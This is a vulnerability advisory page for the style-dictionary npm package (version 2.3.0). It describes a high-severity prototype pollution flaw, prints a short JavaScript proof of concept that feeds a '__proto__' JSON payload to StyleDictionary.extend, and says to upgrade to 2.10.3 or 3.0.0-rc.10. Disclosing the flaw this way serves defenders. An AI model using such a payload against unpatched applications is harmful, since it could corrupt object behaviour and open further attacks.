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style-dictionary@2.3.0 vulnerabilities

Style once, use everywhere. A build system for creating cross-platform styles.

  • latest version

    4.3.0

  • latest non vulnerable version

    4.3.0

  • first published

    7 years ago

  • latest version published

    14 hours ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the style-dictionary package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    style-dictionary is a Style once, use everywhere. A build system for creating cross-platform styles.

    Affected versions of this package are vulnerable to Prototype Pollution.

    PoC

    const StyleDictionary = require('style-dictionary');
const obj = {};
let opts = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log("Before : " + obj.polluted);
StyleDictionary.extend(opts);
console.log("After : " + obj.polluted);

    How to fix Prototype Pollution?

    Upgrade style-dictionary to version 2.10.3, 3.0.0-rc.10 or higher.

    <2.10.3>=3.0.0-rc.0 <3.0.0-rc.10
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